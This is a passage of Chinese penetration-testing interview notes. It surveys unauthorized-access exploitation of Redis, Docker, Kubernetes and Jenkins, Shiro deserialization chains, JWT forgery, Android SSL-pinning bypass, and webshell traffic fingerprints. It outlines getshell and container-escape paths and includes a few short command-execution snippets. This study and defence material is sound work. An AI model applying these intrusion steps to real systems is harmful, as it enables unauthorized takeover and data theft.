- 危害:敏感数据泄露(读取缓存数据)。GetShell/RCE:写 Webshell:如果知道 Web 路径。写 SSH 公钥:覆盖 /root/.ssh/authorized_keys 实现免密登录。写 Crontab 计划任务:反弹 Shell(在 Ubuntu 等系统上可能因权限问题失败)。主从复制 RCE:利用 Redis 4.x/5.x 的主从复制机制加载恶意 .so 扩展模块执行命令。
2. MongoDB 未授权访问 (Port: 27017)
- 成因:旧版本(3.0以下)默认不开启认证,或管理员配置错误。
- 危害:无需密码直接连接数据库,导致大规模数据库泄露、被勒索、删除数据。
3. Memcached 未授权访问 (Port: 11211)
- 成因:默认监听在 0.0.0.0 且无认证机制。
- 危害:缓存数据泄露。Memcached 中很少能直接 RCE,主要是信息泄露。同时可被利用发起 UDP 反射放大攻击(DDoS)。
4. CouchDB 未授权访问 (Port: 5984)
- 成因:默认配置不当。
- 危害:可以新增用户、进行垂直越权,甚至通过 API 接口执行系统命令。
二、 大数据与中间件服务
1. Hadoop YARN 未授权访问 (Port: 8088)
- 成因:Hadoop YARN 的 ResourceManager Web UI 默认对外开放,且无权限控制。
- 危害:RCE(极高危)。攻击者可以通过 REST API 提交一个新的 Application,在该 Application 的执行命令中插入恶意代码(反弹 Shell),Hadoop 会以系统最高权限执行。
2. Elasticsearch 未授权访问 (Port: 9200)
- 成因:早期版本默认绑定在 0.0.0.0 且无内置鉴权(X-Pack 插件需付费或手动配置)。
- 危害:数据泄露:通过 /_cat/indices 查看所有索引,/_search 搜索数据。RCE:虽然较少见,但在特定旧版本(如 CVE-2014-3120, CVE-2015-1427)中存在沙箱绕过导致的 RCE。
3. Zookeeper 未授权访问 (Port: 2181)
- 成因:默认未开启 ACL(访问控制列表)。
- 危害:连接后执行 envi 命令可泄露系统环境变量、路径等信息,可能包含其他服务的密码。虽然直接 RCE 较难,但可作为信息收集的重要一环。
4. ActiveMQ 未授权访问 (Port: 8161)
- 成因:Web 控制台存在默认弱口令(admin/admin)或未授权。
- 危害:通过上传 JSP 文件或利用 PUT 请求写入文件实现 RCE。
三、 容器与编排工具
1. Docker Remote API 未授权访问 (Port: 2375)
- 成因:管理员为了方便远程管理,开启了 Docker 的 HTTP API 端口,且未配置证书认证。
- 危害:接管宿主机(极高危)。攻击者可以列出镜像、启动容器。利用方式:启动一个特权容器,将宿主机的根目录 / 挂载到容器内部(如 /mnt),然后修改宿主机的 Crontab 或 SSH Key,直接逃逸并控制宿主机。
2. Kubernetes (K8s) Api Server 未授权访问 (Port: 8080/6443)
- 成因:API Server 配置错误,允许匿名访问。
- 危害:接管整个集群。攻击者可以创建恶意 Pod(挂载宿主机目录),从而控制节点服务器。
3. Kubelet 未授权访问 (Port: 10250)
- 成因:Kubelet 服务的 API 允许匿名访问(anonymous-auth=true)。
- 危害:攻击者可以访问 /run/{pod_name}/{container_name}/{cmd} 接口,在容器内直接执行命令。
四、 开发与运维工具
1. Jenkins 未授权访问 (Port: 8080)
- 成因:未配置登录或开启了“允许用户注册”。
- 危害:RCE(极高危)。如果未授权直接进入后台,利用 Script Console (脚本命令行),可以执行 Groovy 代码,直接运行系统命令("whoami".execute().text)。
2. Jupyter Notebook 未授权访问 (Port: 8888)
- 成因:配置时未设置 Token 或 Token 泄露。
- 危害:RCE。Jupyter 提供了一个 Web 版的 Terminal,未授权进入后直接就是一个 Shell 环境,可执行任意命令。
3. Rsync 未授权访问 (Port: 873)
- 成因:配置文件 /etc/rsyncd.conf 中未配置认证模块。
- 危害:任意文件读取/写入。下载服务器敏感文件(如 /etc/shadow)。上传 Crontab 文件实现反弹 Shel
4. VNC 未授权访问 (Port: 5900/5901)
- 成因:配置错误,不需要密码即可连接。
- 危害:直接查看到远程桌面,操作服务器。
业务逻辑
挖过的逻辑漏洞
越权(水平越权、垂直越权)、验证码爆破、验证码复用、短信轰炸、邮箱轰炸
金额篡改、数量篡改、优惠券复用
任意用户登录(修改响应包内容)、注册、重置密码流程乱序
框架中间件
中间件和框架的区别?
答:框架是开发时用的(Spring/ThinkPHP),中间件是运行时用的(Tomcat/Redis/Nginx),权限更高、影响更大
了解哪些web框架、中间件、消息队列、容器、云组件
web框架:spring生态、Apache Struts2等
中间件:Nginx、Apache、Tomcat、 Redis、Zookeeper 、weblogic、JBOSS等。
消息队列:kafka、RabbitMQ等
容器:Docker、Kubernetes等
云原生组件:服务网格(Envoy、lstio)、Serverless等
常见漏洞有:未授权的访问、代码执行漏洞、配置错误漏洞、解析错误漏洞、表达式注入漏洞、授权绕过漏洞、反序列化漏洞等漏洞
shiro反序列化
🛡️ Apache Shiro(网络安全框架)
特征:响应包中set-cookie:remembeMe=deleteMe
- 定义: Apache Shiro(发音为 "sheeroh",源自日语“城”)是一个开源、易用且健壮的 Java 安全框架。
- 核心功能: 它主要提供以下四大安全服务,即著名的 “认证、授权、会话、加密”(AAA + Cryptography):
- 身份验证 (Authentication): 验证用户身份(登录)。
- 授权 (Authorization): 确定用户可以做什么(访问权限)。
- 会话管理 (Session Management): 在任何应用环境(包括非 Web 环境)中管理用户会话。
- 密码学 (Cryptography): 提供加密、哈希等功能。
除了反序列化还有什么漏洞?
权限绕过
shiro550和721区别
1)这两个漏洞主要区别在于Shiro550使用已知密钥碰撞,只要有足够密钥库(条件较低),不需要 Remember Cookie
2)Shiro721的ase加密的key基本猜不到,系统随机生成,可使用登录后rememberMe去爆破正确的key 值,即利用有效的RememberMe Cookie作为Padding Oracle Attack的前缀,然后精心构造 RememberMe Cookie 值来实现反序列化漏洞攻击
一、 Shiro 550 与 Shiro 721 的区别
这两个漏洞的根本原因都是 Java反序列化,但触发方式和前提条件完全不同。
| 维度 | Shiro 550 (CVE-2016-4437) | Shiro 721 (CVE-2019-12422) |
|---|---|---|
| 核心原理 | 硬编码密钥。利用泄露的/默认的AES密钥,直接伪造Cookie。 | Padding Oracle Attack(填充预言机攻击)。利用CBC加密模式的缺陷,在不知道密钥的情况下推导并伪造密文。 |
| 前提条件 | 1. 知道服务端的 AES Key(通过爆破或源码泄露)。 2. 不需要登录。 |
1. 不需要知道 AES Key。 2. 必须有一个合法的登录 Session(合法的 rememberMe Cookie)。 3. Shiro版本 < 1.4.2(使用 AES-CBC 模式)。 |
| 攻击流程 | 生成恶意对象 -> 序列化 -> AES加密(用已知Key) -> Base64编码 -> 发送。 | 捕获合法Cookie -> 利用Padding Oracle逐字节爆破/构造 -> 伪造出包含恶意Payload的密文 -> 发送。 |
| 利用速度 | 极快。一次请求即可验证/利用。 | 极慢。需要发送数千到数百万次请求(取决于Payload长度),容易造成日志爆炸或被WAF拦截。 |
| 修复方式 | 移除代码中的默认密钥,改为随机生成密钥。 | 升级 Shiro 版本,将加密模式从 AES-CBC 改为 AES-GCM(无填充,也就没有Padding Oracle)。 |
总结:
- 550 是“我有钥匙,我直接进门”。
- 721 是“我没钥匙,但我能根据锁孔的回声(Oracle)配出一把钥匙”。
二、 Shiro 反序列化“有Key无链”利用
这里的“有Key”通常指通过Shiro 550爆破出了AES密钥,但“无链”有两种常见的含义:
- 无可用Gadget链: 目标环境没有 Commons-Collections (CC) 或其他常见第三方库,导致 ysoserial 的常规 payload 无法使用。
- 利用检测(探测): 不想直接触发RCE(因为发错Payload会报错或被拦截),只想静默验证Key是否正确。
以下是针对这两种情况的解决方案:
1. 纯粹的 Key 验证(探测 Key 是否正确)
在不确定环境中有哪些依赖库时,如果直接盲打 CC 链,容易报错导致 Set-Cookie: rememberMe=deleteMe,或者引起管理员警觉。
利用 SimplePrincipalCollection 进行探测:
Shiro 自身依赖中必然包含 org.apache.shiro.subject.SimplePrincipalCollection 类。我们可以序列化这个原生类的对象并加密发送。
- 逻辑:如果 Key 错误:解密失败,Shiro 认为 Cookie 无效。如果 Key 正确:解密成功,反序列化成功(因为是 Shiro 自带类,不会报错)。
- 如何判断?通过响应头中的 rememberMe=deleteMe 行为来判断(不同版本逻辑略有不同,通常解密失败一定会 set deleteMe,而反序列化成功可能不会 set 或 set 的数量不同)。这种方式由于不涉及执行命令的 Gadget,非常安全且隐蔽。
2. 无 Commons-Collections (CC) 时的 RCE 思路
如果目标没有 CC 库,我们依然有以下几种 RCE(远程代码执行)途径:
A. 利用 CommonsBeanutils (CB链)
这是最常见的“无CC链”解法。Shiro 框架本身默认依赖 Commons-Beanutils。
- 原理: ysoserial 原生的 CommonsBeanutils1 链实际上是依赖 CommonsCollections 的(用于比较器)。但是,通过修改 Payload,可以构造出不依赖 CC 库的 CB 链。
- 工具支持: 许多 Shiro 综合利用工具(如 ShiroExploit 或魔改版 ysoserial)中都集成了 CommonsBeanutils1_183 或 CommonsBeanutilsShiro 模块。
- 注意: 这需要目标环境存在 commons-beanutils 依赖(Shiro 默认自带),且版本兼容。
B. 利用 JDK 原生链 (JRMP)
如果连 Beanutils 都没有(虽然很少见),或者被 WAF 过滤了相关类,可以尝试 JDK 自带的利用方式。
- JRMPClient:利用 sun.rmi.server.UnicastRef 等类。条件: 允许服务器向外发起 TCP 连接(出网)。操作: 让目标反序列化一个 JRMP Client,连接攻击者搭建的 JRMP Listener。攻击者的 Listener 返回一个恶意的 Gadget 对象(此时是在客户端加载,需要目标有利用链)或者利用后续的 Reference 攻击。
- JDK7u21 / 8u20:这是完全利用 Java 原生库(HashMap, HashSet, TemplatesImpl 等)构造的链。条件: 极其苛刻,严格限制 JDK 版本。如果目标刚好是老旧的 JDK 版本,可以使用这两个“核弹级”原生链。
C. 利用 Tomcat/Spring 的回显链 (Echo)
有时候“无链”是指没有 Runtime.exec 的直接执行链,但我们可以利用中间件特性。
- 如果目标是 Tomcat,可以构造基于 Tomcat 内部类的反序列化链,直接将回显写入 Response,而不依赖传统的命令执行。
3. 绕过 WAF/长度限制
有时候“无链”是因为 Payload 太长导致被截断或拦截。
- Dirty Data(脏数据)填充: 在序列化数据末尾添加大量垃圾数据,绕过某些基于特定字节特征的 WAF。
- Unknown Class 绕过: 构造特定的流,干扰 WAF 的解析引擎。
总结“有Key无链”的打法流程:
- 探测: 使用 SimplePrincipalCollection 确认 Key 正确,确保不是误报。
- 尝试 CB 链: 优先尝试不依赖 CC 的 CommonsBeanutils Payload,因为 Shiro 自带这个库。
- 尝试出网: 如果支持出网,尝试 JRMPClient。
- 环境指纹: 如果都失败,尝试报错(如果能看到)判断 JDK 版本或中间件类型,看是否符合 JDK7u21 等原生链条件。
- 内存马: 如果能代码执行但无法回显,直接注入 Shiro 类型的内存马(Servlet/Filter 内存马)。
中间件漏洞
Tomcat
PUT文件上传、弱口令部署war包、JMX反序列化漏洞RCE、AJP任意文件读取、CVE-2025-24813反序列化上传shell
Weblogic
T3反序列化、JRMP反序列化、wls9-async反序列化(XML解析反序列化)、SSRF、测试页任意文件上传
Jboss
JMX反序列化、未授权访问上传webshell、Invoker未授权访问
面试中最常被问的10个中间件(99%会考到)
- Tomcat(弱口令 + war上传)
- WebLogic(反序列化RCE)
- Redis(未授权写shell)
- Nginx(路径穿越 + CRLF注入)
- Apache(2.4.49路径穿越)
- JBoss(无认证部署war)
- Jenkins(未授权Groovy RCE)
- Docker(2375未授权)
- Spring Boot Actuator(未授权/env,/hear dump)
- php-fpm(快关漏洞)
T3协议流量特征
- 第一步:看端口 -> 是否是 7001?
- 第二步:看数据包开头 -> 是否是
**t3**(十六进制74 33 20 20)或"t3\n"? - 第三步:看协商内容 -> 是否包含 "HELO" 和版本信息?
IIOP流量特征
- 第一步:看数据包开头 -> 是否是 "GIOP"(十六进制
47 49 4f 50)? - 第二步:看结构 -> 是否遵循标准的 GIOP 消息头结构(版本、类型、长度)?
- 第三步:看辅助信息 -> 是否在相关流量中包含
**"IOR:"**字符串?
CMS
网站使用了CMS有什么利用思路
信息收集--->历史漏洞、主题、插件、模板、未授权
常用打点工具:
无影TScanPlus、ARL灯塔、EHole、水泽、潮汐
wappalyzer、whatruns插件识别
fofa搜索icon图标
熊猫头findsomething找路径判断
| CMS 名称 | 核心技术 | 市场定位与特点 | 安全关注点 (白客视角) |
|---|---|---|---|
| WordPress | PHP + MySQL | 全球市场份额最高,生态庞大,易于使用。 | 插件/主题漏洞是主要攻击面(如文件上传、RCE)。需重点检查未使用或过时插件。 |
| Joomla! | PHP + MySQL | 门户网站和企业应用。结构化程度高。 | 核心 RCE 漏洞历史,需关注组件/扩展的安全配置和权限控制。 |
| Drupal | PHP + DB | 适用于高安全、大型组织网站。代码结构严谨。 | 核心框架相对健壮,但要警惕其模块的安全漏洞(如著名的 Drupalgeddon 系列)。 |
| DedeCMS (织梦) | PHP + MySQL | 国内流行,快速建站,历史悠久。 | 高危 RCE 漏洞和 SQL 注入历史记录多。需关注 data/ 目录和后台管理权限。 |
| EmpireCMS (帝国) | PHP + MySQL | 国内流行,性能较好,主要用于内容门户。 | 关注其模板注入和后台管理入口的弱点,以及自定义插件的安全性。 |
| PHPCMS | PHP + MySQL | 国内流行,企业门户常用。 | 需关注其文件上传和反序列化漏洞历史,特别是老旧版本。 |
| ThinkPHP/Laravel (框架) | PHP | 国内企业二次开发基础,许多 CMS 或应用都基于此框架。 | 框架本身的 RCE 漏洞(如 ThinkPHP RCE)会直接影响所有基于其二次开发的应用。 |
CORS与JSONP
同源策略
同源是指:比如说两个网站的协议头,域名和端口号相同那么它们就属于同源。
同源策略是浏览器的一个安全功能,不同源的客户端脚本在没有明确授权的情况 下,不能读取对方的资源。但同时,为了允许不同源之间的合法和有益的交互,也 有一些方法来绕过同源策略,例如 JSONP、CORS (跨来源资源共享)等。
限制不可读的情况下如何利用
同源策略只限制了不可互相读,但是没有限制不可写入,所以可以配合XSS+CSRF这种窃取漏洞实现攻击。
跨域概念
跨域是指在网页中,不满足同源策略的网站在互相请求资源时,默认只允许同源的请求,以防止恶意网站窃取用户数据。为了解决跨域问题,提出了CORS和JSONP、代理服务器等。这些技术可以安全地实现不同源之间的数据交换。
跨域漏洞原理
CORS(跨域资源共享)是一种机制,允许服务器通过设置HTTP头部来指定哪些域名可以访问其资源。当浏览器发起跨域请求时,服务器返回相应的CORS头部,浏览器根据这些头部决定是否允许访问,从而实现安全的跨域数据交换。CORS提供了灵活的权限控制,支持多种请求方法和凭据。
JSONP(JSON with Padding)是一种绕过同源策略的技术,通过动态创建<script>标签来实现跨域请求。服务器返回一个包含回调函数的JSON数据,浏览器执行该脚本,从而实现数据的获取。尽管JSONP可以解决跨域问题,但它只支持GET请求,并存在一定的安全隐患,如可能被恶意利用进行XSS攻击。
CORS特征:access-control-allow_origin
JSONP特征:callback、jsoncall、jasoncallback
CORS、JSONP 和CSRF的区别
CORS是一种安全机制,允许服务器通过HTTP头部指定哪些域可以访问资源,支持多种请求方法,旨在安全地实现跨域通信。JSONP则是一种绕过同源策略的技术,通过动态插入<script>标签来请求数据,仅支持GET请求,存在安全风险。而CSRF(跨站请求伪造)是一种攻击方式,利用用户的身份认证信息在未授权的情况下发起请求,攻击者诱导用户执行不当操作,通常通过伪造表单或链接实现。
遇到请求包加密怎么办
初步判断是编码还是加密
-
如果密文长度固定(如 32 位、16 位 hex),可能是 MD5/SHA 签名(用于防篡改)。
-
如果密文长度随输入变长,且也是 Base64 格式,大概率是 AES/DES/RSA 加密后的数据。
根据请求包是web/app来判断
如果是 Web 端 (JS 逆向)
- 搜索关键词 (Search): 在 F12 开发者工具的 Sources 面板中,全局搜索
encrypt,decrypt,sign,rsa,aes,md5等关键词。 - XHR/Fetch 断点: 在 Network 面板找到该请求,查看 "Initiator" (发起程序),直接点击跳转到 JS 调用栈,在发送请求的前一行打断点。
- 事件监听断点: 如果是点击按钮触发的请求,可以在 Sources 面板右侧开启
Event Listener Breakpoints->Mouse->click,点击按钮后断下,单步调试(F10/F11)跟进核心逻辑。 - Hook 关键函数:** 如果代码混淆严重,可以使用 TamperMonkey 或控制台注入 JS 代码,Hook
JSON.stringify或XMLHttpRequest.prototype.send,打印调用栈。
如果是 APP 端 (安卓逆向)
- 反编译: 使用 JADX-GUI 打开 APK,搜索 URL 路径或参数名。
- Hook 框架: 使用 Frida 或 Xposed。
- Hook
javax.crypto包下的标准加密函数,打印入参和出参。 - 追踪网络请求库(如 OkHttp3)的 Interceptor,往往加密逻辑就在这里。
- Hook
APP渗透
基础渗透流程:
模拟器配合burpsuite、yakit
真机配合小黄鸟httpcanary、fiddler,修改无线代理抓包
安卓四大组件
activity、Service、broadcastReceiver(广播接收)、ContentProvider(文本提供)
APP反编译
手工反编译:
apk-->dex-->jar-->class
自动反编译
jadx-gui、apk-easy-tool
对抗
1. 程序检测ROOT绕过
推荐工具:Lsposed+面具插件shimiko隐藏ROOT
2. HTTP抓包绕过
方式:安装BP证书到系统跟目录
方式:iptables防火墙配置
方式:Proxifier全局代理抓包
方式:postern VPN软件抓包
方式:HTTPCanary小黄鸟抓包
2. 单向认证绕过
Lsposed+JustTrustMe绕过单项认证
Frida工具+fridaScripts脚本
Objection绕过
3. 双向认证绕过
r0capture.py抓包分析证书及密钥,并伪造证书安装到burpsuite进行客户端伪造
Frida工具+fridaScripts脚本
APP反编译提取.p12,导入Burp伪装客户端
场景 1:代理配置不生效(流量不走代理)
很多 APP(尤其是 Flutter 开发的,或微信小程序)会忽略系统 WiFi 设置里的 HTTP 代理。
- 解决方案:使用 VPN 级代理工具(强制转发)
- PC 端 (针对小程序/模拟器): 使用 Proxifier。
- 设置 Proxifier 将
WeChat.exe或 模拟器进程的流量强制转发到 Burp Suite 监听的地址(如 127.0.0.1:8080)。
- 设置 Proxifier 将
- 手机端: 使用 Postern 或 Drony。
- 在 APP 内部配置 VPN 规则,将流量转发到 Burp 的 IP。
- PC 端 (针对小程序/模拟器): 使用 Proxifier。
场景 2:HTTPS 证书报错 (Android 7.0+ 机制)
Android 7.0 以后,APP 默认不再信任用户安装的证书(User CA),只信任系统证书(System CA)。表现为:能抓到包,但全是 CONNECT 或者报错,APP 显示网络连接失败。
-
解决方案:将 Burp 证书写入系统底层
- 导出 Burp 的证书(DER 格式),重命名为
<hash>.0格式(使用openssl x509 -inform DER -in cacert.der -out cacert.pem然后计算 hash)。 - 连接 ADB,获取 Root 权限。
- 将证书
push到/system/etc/security/cacerts/目录下。 - 赋予权限
chmod 644并重启手机。
- 注:现在也有 Magisk 模块(AlwaysTrustUserCerts)可以一键解决。
- 导出 Burp 的证书(DER 格式),重命名为
场景 3:SSL Pinning (证书绑定/单向认证)
APP 内置了服务端证书的指纹。如果发现 Burp 发来的证书指纹和服务端不一样,直接断开连接。
-
解决方案:Hook 绕过
-
Xposed 方案: 安装 JustTrustMe 或 TrustMeAlready 模块,勾选目标 APP,重启即可。
-
Frida 方案 (推荐,更灵活):
-
使用 Objection 工具:
objection -g "com.target.app" explore # 进入后输入 android sslpinning disable -
或者使用通用的 Frida JS 脚本(Github 上搜
Frida ssl pinning script),注入到 APP 中运行。
-
-
场景 4:双向认证 (Mutual SSL)
服务端不仅验证客户端证书,客户端也要验证服务端证书。表现为:开启抓包后,服务端返回 400 Bad Request 或者连接直接断掉,且 SSL Pinning 绕过无效。
- 解决方案:提取客户端证书
- 解压 APK,在
assets或res目录下寻找.p12或.bks文件。 - 如果找不到,可能包含在代码里,需要用 Frida Hook
KeyStore相关函数来 dump 出证书和密码。 - 将提取出的证书(Client Certificate)导入到 Burp Suite 的
User options -> SSL -> Client SSL Certificates中。
- 解压 APK,在
场景 5:非 HTTP 协议 (TCP/WebSocket)
如果 APP 走的是私有 TCP 协议或者 Protobuf,Burp 默认看不懂。
- 解决方案:
- 使用 Wireshark 抓取网卡流量分析协议结构。
- 如果是 Protobuf,尝试在 Burp 中安装
Blackboxprotobuf插件来解析。
小程序/JS绕过
小程序抓包
proxifier+yakit/burpsuite
微信登录时候设置代理
小程序反编译
TscanPlus、wxapkg
JWT
是通过JSON形式作为Web应用中的令牌,用户在各方之间安全地将信息作为JSON对象传输。在数据传输过程中还可以完成数据加密、签名等相关处理。
组成
- 标头(Header) 标头通常由两部分组成:令牌的类型(即JWT)和所使用的签名算法,例如HMAC SHA256或RSA。
- 有效负荷(Payload) ,其中包含声明。声明是有关实体(通常是用户)和其他数据的声明。
- 签名(Signature),对头部以及负载内容进行签名,防止内容被窜改。
基于 Session 的认证 和 基于 JWT 的认证
Session 和 JWT 是两种认证机制(Authentication Mechanisms)(服务端存状态 vs 客户端存凭证)。
-
传统 Session 安全性依赖于 Cookie 的保护(HttpOnly, Secure, SameSite)和后端的 Session 管理,主要防 CSRF。
-
JWT 安全性依赖于密钥的强度、算法实现的正确性以及存储方式(防 XSS)。
1. 核心原理对比
传统 Session (Server-side State)
- 机制: 用户登录成功后,服务端在内存(或 Redis/数据库)中创建一个 Session 对象,保存用户信息,并生成一个唯一的
Session ID。 - 传输: 服务端通过
Set-Cookie头将Session ID发给浏览器。浏览器后续请求会自动带上这个 Cookie。 - 核心逻辑: 认号不认人。服务端拿着 ID 去数据库查“这是谁”。
- 状态: 有状态 (Stateful)。服务端必须保存数据。
JWT (JSON Web Token - Client-side Stateless)
- 机制: 用户登录成功后,服务端将用户信息(Claims,如 user_id, role)通过加密签名生成一个字符串(Token)。
- 传输: 服务端将 Token 返回给前端。前端可以把它存在 LocalStorage 或 Cookie 中。后续请求通常放在 HTTP Header (
Authorization: Bearer <token>) 中发送。 - 核心逻辑: 认票不认人。服务端只校验签名是否合法,不查数据库(除非要额外验证)。
- 状态: 无状态 (Stateless)。服务端不需要保存 Token(除非为了做黑名单)。
2. 维度对比表格
| 特性 | 传统 Session (Cookie-based) | JWT (Token-based) |
|---|---|---|
| 存储位置 | 服务端: 内存/Redis 客户端: 仅存 Session ID (Cookie) | 服务端: 无需存储 客户端: 存储完整 Token (LocalStorage/Cookie) |
| 扩展性 | 差。分布式集群需要做 Session 共享 (如 Redis Session)。 | 好。任意节点解密即可,天然支持微服务/分布式。 |
| 服务器压力 | 高。用户越多,内存/存储占用越大。 | 低。仅需 CPU 计算签名。 |
| 注销/吊销 | 极易。服务端删除 Session 即可立即踢人下线。 | 困难。Token 一旦签发,有效期内始终有效。需配合黑名单(Redis)实现注销,但这又变回了“有状态”。 |
| 跨域支持 | 困难。Cookie 有严格的跨域限制。 | 容易。HTTP Header 无跨域限制,适合前后端分离。 |
| 数据长度 | 极小 (仅一个 ID)。 | 较大 (包含 Payload 数据和签名)。 |
3. 白客视角的安全攻防差异(重点)
A. 存储安全 (XSS vs CSRF)
- Session (通常存在 Cookie 中):
- CSRF (跨站请求伪造): 既然浏览器会自动携带 Cookie,攻击者可以构造恶意链接让用户点击,利用用户的 Cookie 身份执行操作。
- 防御: 需要 CSRF Token,或设置 Cookie 的
SameSite属性。
- 防御: 需要 CSRF Token,或设置 Cookie 的
- XSS: 如果 Cookie 设置了
HttpOnly,JS 无法读取,能一定程度防御 XSS 偷取 Session ID(但不能防御 XSS 代理流量)。
- CSRF (跨站请求伪造): 既然浏览器会自动携带 Cookie,攻击者可以构造恶意链接让用户点击,利用用户的 Cookie 身份执行操作。
- JWT:
- 存 LocalStorage/SessionStorage:
- XSS (跨站脚本攻击): JS 可以直接读取 Storage。一旦有 XSS 漏洞,Token 必死,攻击者可以直接把 Token 偷走持久化利用。
- CSRF: 免疫。因为浏览器不会自动在请求中带 Header,JS 必须显式添加。
- 存 Cookie:
- 这就变成了和 Session 一样的安全模型(防 XSS,但怕 CSRF)。
- 存 LocalStorage/SessionStorage:
B. 认证机制漏洞
- Session:
- Session Fixation (会话固定): 登录前后 Session ID 未改变,攻击者可以预先设定一个 ID 诱导受害者登录,从而接管会话。
- Session 预测: 极少见,如果生成 ID 的算法不够随机,可能被暴力猜解。
- JWT (重灾区):
- 未签名/空算法攻击 (
alg: None): 攻击者修改 Header 中的alg为None,并将 Signature 部分置空。若后端库校验不严,会认为不需要验证签名,直接接受伪造的 Payload(如把role: user改为role: admin)。 - 弱密钥爆破: 很多开发者使用 HMAC-SHA256 (HS256) 算法,但密钥(Secret)设置得太简单(如 "123456", "secret")。攻击者可以离线暴力破解密钥,一旦拿到密钥,就可以随意伪造 Token。
- 工具:
hashcat,jwt_tool。
- 工具:
- 算法混淆攻击 (Key Confusion): 服务端支持 RS256 (公私钥) 和 HS256。攻击者用服务的公钥作为 HMAC 的密钥(Secret)来签名 Token,并将
alg改为 HS256。如果服务端代码逻辑有误,会用公钥去验证 HMAC 签名(公钥是公开的),从而导致绕过。 - 信息泄露: JWT 的 Payload 只是 Base64 编码,不是加密。所有存在 Payload 里的敏感信息(如手机号、内网 IP)都可以被前端直接解码看到。
- 未签名/空算法攻击 (
漏洞
敏感信息泄露
因为JWT的payload部分是使用Base64url编码的,所以它其实是相当于明文传输的,当payload中携带了敏感信息时,我们对payload部分进行Base64url解码,就可以读取到payload中携带的敏感信息。
无签名
一些JWT库也支持none算法,即不使用签名算法。当alg字段为空时,后端将不执行签名验证。
弱密钥
如果JWT采用对称加密算法,并且密钥的强度较弱的话,攻击者可以直接通过蛮力攻击方式来破解密钥。
Redis利用方式
1.修改网站根目录上传webshell
2.修改SSH密钥目录上传公钥
3.修改计划任务目录反弹shell
4.主从复制getshell
5.SSRF配合gopher协议
6.爆破密码
登录框渗透思路
- 基础:弱口令爆破,万能密码
- 逻辑:验证码爆破/绕过,未授权访问(修改返回包),密码重置漏洞
- 注入:用户名处sql注入
- 其他:源码F12敏感信息泄露,XSS报错回显
一个URL如何开展渗透
- 信息收集:子域名,指纹识别,端口扫描,目录遍历,备案号,社会资产
- 漏洞扫描:根据指纹或者插件wappalyzer来找已知漏洞(OA,框架),测试常见web漏洞
- 漏洞利用:getshell,提权
- 后渗透:内网渗透
第一部分:常见 Webshell 管理工具的流量特征
这部分教你如何通过分析网络数据包(如 Wireshark 抓包)来识别攻击者使用的是哪种 Webshell 管理工具。
1. 蚁剑 (AntSword)
- 核心特征: 相比其他工具,蚁剑的加密和混淆相对较弱。
- 请求体特征:****明文/Base64: 经常能看到
@ini_set("display_errors","0");@set_time_limit(0)这种 PHP 配置代码,这是明显的指纹。混淆参数: 即使开启了加密/绕过插件,参数名往往以 0x 开头(例如 0x.....=),这也是一个强特征。 - 响应体特征: 格式通常为 随机数 结果 随机数。
2. 冰蝎 (Behinder)
- 核心特征: 流量是加密的,旨在模拟正常流量,但仍有破绽。
- Cookie 特征: 建立连接后,Cookie 格式固定为
Cookie: PHPSESSID=; path=/;(主要指早期版本或默认配置)。 - User-Agent (UA) 特征:内置了十几个 UA 头进行随机轮询。弱点: 这些内置的 UA 往往比较老旧(如 IE6, IE7, 老版本 Chrome),在现代网络流量中显得格格不入。
- Accept 头特征: 通常包含 q=0.01,倾向于 application/json 或 text/javascript。
3. 哥斯拉 (Godzilla)
- 核心特征: 流量特征较为固定,包含特定的加密逻辑。
- 请求特征:Header 中通常有三个固定值存在:User-Agent, Accept, Accept-Language。默认 UA 可能会暴露 JDK 版本信息。Payload 解码后,
eval(base64_decode(...))结构非常明显。 - 响应特征(强特征):****“三明治”结构: 响应包的数据结构为 MD5前16位 + Base64加密数据 + MD5后16位。这是一个非常显著的指纹识别点。
| 特性 | AntSword (蚁剑) | 冰蝎 (Behinder) | 哥斯拉 (Godzilla) |
|---|---|---|---|
| 通信机制 | 经典模式 | 内存加密通信 | 内存加密通信 (更高级) |
| 流量特征 | 明显,易于被 WAF/IDS 识别。数据包大,带有固定特征头。 | 无明显特征。利用 AES 等算法加密整个请求体和响应体。流量小,伪装成正常 HTTPS/HTTP 请求。 | 无明显特征。基于反射机制,无文件落地,通信流量更灵活,可自定义性强。 |
| Payload/Shell | 文件落地。明文或简单编码的 Webshell(如 .php, .jsp)。 |
文件落地。但 Payload 核心功能在内存中执行,仅用于加载后续组件。 | 无文件落地。利用 Java Agent 或反射机制,Shell 核心功能几乎全部在内存中运行。 |
| 免杀能力 | 差。Shell 文件易被查杀,流量特征明显。 | 优秀。Shell 文件可做混淆,通信流量加密。 | 极强。高度自定义加密算法、Payload 启动器,免杀能力和对抗性最强。 |
| 核心机制 | 类似菜刀,执行系统命令等简单操作。 | ClassLoader 加载恶意字节码,所有操作在内存中进行。 | 基于字节码加密/反射,完全在内存中动态构造和执行。 |
| 适用场景 | 快速测试、Shell 权限较低的环境。 | 需要绕过 WAF、流量监控,进行中高级渗透。 | 需要绕过 EDR、沙箱分析,进行高强度对抗渗透。 |
第二部分:Weevely 工具深度分析
这部分从红队(攻击/使用)和蓝队(分析/解密)两个角度详细介绍了 Weevely。
1. Weevely 是什么?
- Kali Linux 自带的工具,没有图形界面(命令行),生成的 PHP 后门代码是多态的(每次生成都不同,难以通过简单的字符串匹配查杀)。
- 功能强大:支持系统命令、文件管理、SQL 数据库操作、端口扫描等模块。
2. Weevely 的运行原理(代码混淆)
- 生成的 PHP 文件通过大量的 str_replace 和字符串拼接来隐藏真实意图(例如隐藏 create_function)。
- 它动态创建一个函数来执行后续传入的加密 Payload。
3. Weevely 的流量解密(重点/CTF考点)
- 加密逻辑: 流量采用 Gzip压缩 -> XOR异或 -> Base64编码 的顺序处理。
- 密钥获取: 加密使用的密钥(XOR Key)源自生成木马时设定的密码的 MD5 值。
- 流量提取:在 HTTP 请求中,加密数据被夹在一个前缀(
kh)和∗∗后缀∗∗(kh)和∗∗后缀∗∗(kf)之间。这两个前后缀也是通过密码的 MD5 计算出来的。 - 如何解密:拿到 Webshell 样本文件或已知连接密码。计算密码的 MD5。从流量包中提取夹在特定字符中间的 Base64 字符串。逆向操作:Base64解码 -> 异或操作 -> Gzip解压 -> 得到明文代码。
总结:你学到了什么?
- 流量研判能力: 当你在日志或流量包中看到 0x 开头的参数、老旧的 User-Agent、或者 MD5+Base64+MD5 的响应结构时,你应该能立刻反应出是哪种黑客工具(蚁剑、冰蝎或哥斯拉)。
- Webshell 原理: 了解了 Webshell 不仅仅是简单的 eval($_POST['cmd']),现代工具会使用加密、混淆、自定义协议来绕过防火墙。
